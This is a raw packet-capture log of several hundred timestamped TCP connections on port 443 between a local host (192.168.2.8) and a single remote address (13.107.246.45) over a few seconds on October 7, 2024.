Oct 7, 2024 06:45:49.235635996 CEST	49861	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.235644102 CEST	443	49861	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.261102915 CEST	443	49862	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.266047001 CEST	49866	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.266093969 CEST	443	49866	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.266206980 CEST	49866	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.266470909 CEST	49862	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.266505003 CEST	443	49862	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.266958952 CEST	49862	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.266966105 CEST	443	49862	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.270829916 CEST	49866	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.270854950 CEST	443	49866	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.315841913 CEST	443	49864	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.323213100 CEST	49864	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.323235035 CEST	443	49864	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.330768108 CEST	443	49863	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.332346916 CEST	49864	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.332367897 CEST	443	49864	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.345936060 CEST	49863	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.345982075 CEST	443	49863	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.346448898 CEST	49863	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.346456051 CEST	443	49863	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.362366915 CEST	443	49862	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.362780094 CEST	443	49862	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.362852097 CEST	49862	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.363786936 CEST	49862	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.363811970 CEST	443	49862	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.363827944 CEST	49862	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.363835096 CEST	443	49862	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.427261114 CEST	443	49864	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.427545071 CEST	443	49864	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.427628040 CEST	49864	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.435606956 CEST	443	49865	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.439909935 CEST	49867	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.439949036 CEST	443	49867	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.440015078 CEST	49867	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.445394039 CEST	443	49863	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.445539951 CEST	443	49863	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.445595980 CEST	49863	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.447750092 CEST	49864	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.447771072 CEST	443	49864	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.447782040 CEST	49864	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.447788954 CEST	443	49864	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.449902058 CEST	49863	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.449930906 CEST	443	49863	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.449947119 CEST	49863	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.449954987 CEST	443	49863	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.451540947 CEST	49865	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.451558113 CEST	443	49865	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.451983929 CEST	49865	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.451988935 CEST	443	49865	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.452302933 CEST	49867	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.452323914 CEST	443	49867	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.457672119 CEST	49868	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.457717896 CEST	443	49868	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.457781076 CEST	49868	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.458178043 CEST	49868	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.458192110 CEST	443	49868	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.459789038 CEST	49869	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.459837914 CEST	443	49869	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.459888935 CEST	49869	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.460084915 CEST	49869	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.460095882 CEST	443	49869	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.548053980 CEST	443	49865	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.548336029 CEST	443	49865	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.548388004 CEST	49865	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.562278986 CEST	49865	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.562309980 CEST	443	49865	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.562345982 CEST	49865	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.562352896 CEST	443	49865	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.846955061 CEST	49870	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.847013950 CEST	443	49870	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.847085953 CEST	49870	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.847697020 CEST	49870	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.847712040 CEST	443	49870	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.937551022 CEST	443	49866	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.938255072 CEST	49866	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.938290119 CEST	443	49866	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.938757896 CEST	49866	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.938762903 CEST	443	49866	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.039347887 CEST	443	49866	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.039521933 CEST	443	49866	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.039669991 CEST	49866	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.040059090 CEST	49866	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.040091991 CEST	443	49866	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.040107012 CEST	49866	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.040122986 CEST	443	49866	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.044004917 CEST	49871	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.044054031 CEST	443	49871	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.044148922 CEST	49871	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.044294119 CEST	49871	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.044306040 CEST	443	49871	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.093141079 CEST	443	49869	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.093689919 CEST	49869	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.093719006 CEST	443	49869	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.094219923 CEST	49869	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.094225883 CEST	443	49869	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.103082895 CEST	443	49868	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.103606939 CEST	49868	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.103640079 CEST	443	49868	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.104038000 CEST	49868	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.104047060 CEST	443	49868	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.192315102 CEST	443	49869	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.192419052 CEST	443	49869	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.192504883 CEST	49869	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.192816973 CEST	49869	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.192841053 CEST	443	49869	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.192853928 CEST	49869	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.192861080 CEST	443	49869	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.196243048 CEST	49872	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.196305990 CEST	443	49872	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.196400881 CEST	49872	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.196574926 CEST	49872	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.196592093 CEST	443	49872	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.203639030 CEST	443	49868	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.203798056 CEST	443	49868	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.203854084 CEST	443	49868	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.203866959 CEST	49868	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.203917027 CEST	49868	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.203952074 CEST	49868	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.203969955 CEST	443	49868	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.203984022 CEST	49868	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.203990936 CEST	443	49868	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.206595898 CEST	49873	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.206641912 CEST	443	49873	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.206715107 CEST	49873	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.206857920 CEST	49873	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.206871033 CEST	443	49873	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.512284994 CEST	443	49870	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.512825966 CEST	49870	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.512845993 CEST	443	49870	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.513335943 CEST	49870	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.513343096 CEST	443	49870	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.617010117 CEST	443	49870	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.617115974 CEST	443	49870	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.617203951 CEST	49870	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.617439985 CEST	49870	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.617465973 CEST	443	49870	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.617482901 CEST	49870	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.617491007 CEST	443	49870	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.620920897 CEST	49874	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.620975018 CEST	443	49874	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.621084929 CEST	49874	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.621243954 CEST	49874	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.621258020 CEST	443	49874	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.718867064 CEST	443	49871	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.719785929 CEST	49871	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.719818115 CEST	443	49871	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.720299006 CEST	49871	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.720304966 CEST	443	49871	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.823779106 CEST	443	49871	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.829236984 CEST	443	49871	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.829487085 CEST	49871	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.829488039 CEST	49871	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.829488039 CEST	49871	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.833039045 CEST	49875	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.833097935 CEST	443	49875	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.833193064 CEST	49875	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.833374977 CEST	49875	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.833388090 CEST	443	49875	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.841269016 CEST	443	49872	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.841777086 CEST	49872	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.841804028 CEST	443	49872	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.842257977 CEST	49872	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.842264891 CEST	443	49872	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.871094942 CEST	443	49873	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.871907949 CEST	49873	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.871937990 CEST	443	49873	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.872287035 CEST	49873	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.872296095 CEST	443	49873	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.941802979 CEST	443	49872	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.941826105 CEST	443	49872	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.941911936 CEST	443	49872	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.941948891 CEST	49872	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.942015886 CEST	49872	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.942363977 CEST	49872	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.942393064 CEST	443	49872	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.942413092 CEST	49872	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.942420959 CEST	443	49872	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.946408987 CEST	49876	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.946454048 CEST	443	49876	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:50.946758032 CEST	49876	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.946803093 CEST	49876	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:50.946815014 CEST	443	49876	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.136482954 CEST	49871	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.136528969 CEST	443	49871	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.147162914 CEST	443	49873	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.147249937 CEST	443	49873	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.147332907 CEST	49873	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.147366047 CEST	443	49873	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.147420883 CEST	443	49873	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.147469044 CEST	49873	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.147743940 CEST	49873	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.147767067 CEST	443	49873	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.147779942 CEST	49873	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.147788048 CEST	443	49873	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.151684046 CEST	49877	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.151721954 CEST	443	49877	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.151813984 CEST	49877	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.152122021 CEST	49877	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.152133942 CEST	443	49877	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.338845015 CEST	443	49874	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.339735985 CEST	49874	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.339777946 CEST	443	49874	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.340388060 CEST	49874	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.340395927 CEST	443	49874	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.355794907 CEST	443	49867	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.356440067 CEST	49867	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.356465101 CEST	443	49867	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.356904984 CEST	49867	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.356911898 CEST	443	49867	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.436018944 CEST	443	49874	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.436091900 CEST	443	49874	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.436178923 CEST	49874	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.436212063 CEST	443	49874	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.436407089 CEST	49874	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.436417103 CEST	49874	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.436420918 CEST	443	49874	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.436471939 CEST	443	49874	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.436475039 CEST	49874	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.436496019 CEST	443	49874	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.439512014 CEST	49878	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.439578056 CEST	443	49878	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.439671993 CEST	49878	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.439790010 CEST	49878	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.439800024 CEST	443	49878	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.457434893 CEST	443	49867	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.457598925 CEST	443	49867	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.457690954 CEST	49867	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.461026907 CEST	49867	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.461051941 CEST	443	49867	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.461065054 CEST	49867	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.461071968 CEST	443	49867	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.465454102 CEST	49879	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.465493917 CEST	443	49879	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.465595007 CEST	49879	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.465748072 CEST	49879	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.465763092 CEST	443	49879	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.473512888 CEST	443	49875	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.473932028 CEST	49875	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.473946095 CEST	443	49875	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.474560976 CEST	49875	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.474566936 CEST	443	49875	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.571727037 CEST	443	49875	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.571902990 CEST	443	49875	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.572009087 CEST	49875	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.572206020 CEST	49875	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.572216988 CEST	443	49875	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.572227001 CEST	49875	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.572232008 CEST	443	49875	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.578166008 CEST	49880	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.578221083 CEST	443	49880	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.578291893 CEST	49880	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.578763008 CEST	49880	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.578780890 CEST	443	49880	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.792946100 CEST	443	49876	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.794035912 CEST	49876	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.794100046 CEST	443	49876	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.794692993 CEST	49876	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.794709921 CEST	443	49876	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.817081928 CEST	443	49877	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.817864895 CEST	49877	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.817924976 CEST	443	49877	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.818351030 CEST	49877	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.818363905 CEST	443	49877	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.894366980 CEST	443	49876	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.894431114 CEST	443	49876	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.894546032 CEST	443	49876	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.894572973 CEST	49876	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.894629002 CEST	49876	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.894812107 CEST	49876	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.894862890 CEST	443	49876	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.894893885 CEST	49876	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.894907951 CEST	443	49876	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.897831917 CEST	49881	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.897927999 CEST	443	49881	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.898031950 CEST	49881	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.898302078 CEST	49881	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.898334980 CEST	443	49881	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.919995070 CEST	443	49877	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.920150042 CEST	443	49877	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.920238018 CEST	49877	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.920521975 CEST	49877	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.920568943 CEST	443	49877	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.920599937 CEST	49877	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.920614958 CEST	443	49877	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.924568892 CEST	49882	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.924582005 CEST	443	49882	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:51.924695015 CEST	49882	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.924940109 CEST	49882	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:51.924952984 CEST	443	49882	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.079828024 CEST	443	49878	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.080444098 CEST	49878	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.080483913 CEST	443	49878	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.080930948 CEST	49878	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.080945015 CEST	443	49878	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.105411053 CEST	443	49879	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.107341051 CEST	49879	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.107372046 CEST	443	49879	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.107806921 CEST	49879	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.107820034 CEST	443	49879	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.177346945 CEST	443	49878	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.177438021 CEST	443	49878	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.177514076 CEST	49878	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.177548885 CEST	443	49878	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.177712917 CEST	443	49878	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.177777052 CEST	49878	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.203742027 CEST	443	49879	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.203989983 CEST	443	49879	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.204070091 CEST	49879	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.204103947 CEST	443	49879	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.204174042 CEST	49879	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.209810972 CEST	49878	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.209846020 CEST	443	49878	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.209878922 CEST	49878	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.209887981 CEST	443	49878	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.211047888 CEST	49879	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.211047888 CEST	49879	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.211076975 CEST	443	49879	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.211102009 CEST	443	49879	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.222069025 CEST	49883	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.222122908 CEST	443	49883	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.222203016 CEST	49883	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.225416899 CEST	49883	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.225438118 CEST	443	49883	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.230699062 CEST	443	49880	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.267357111 CEST	49880	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.267390013 CEST	443	49880	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.267839909 CEST	49880	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.267846107 CEST	443	49880	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.268104076 CEST	49884	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.268151045 CEST	443	49884	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.268235922 CEST	49884	443	192.168.2.8	13.107.246.45
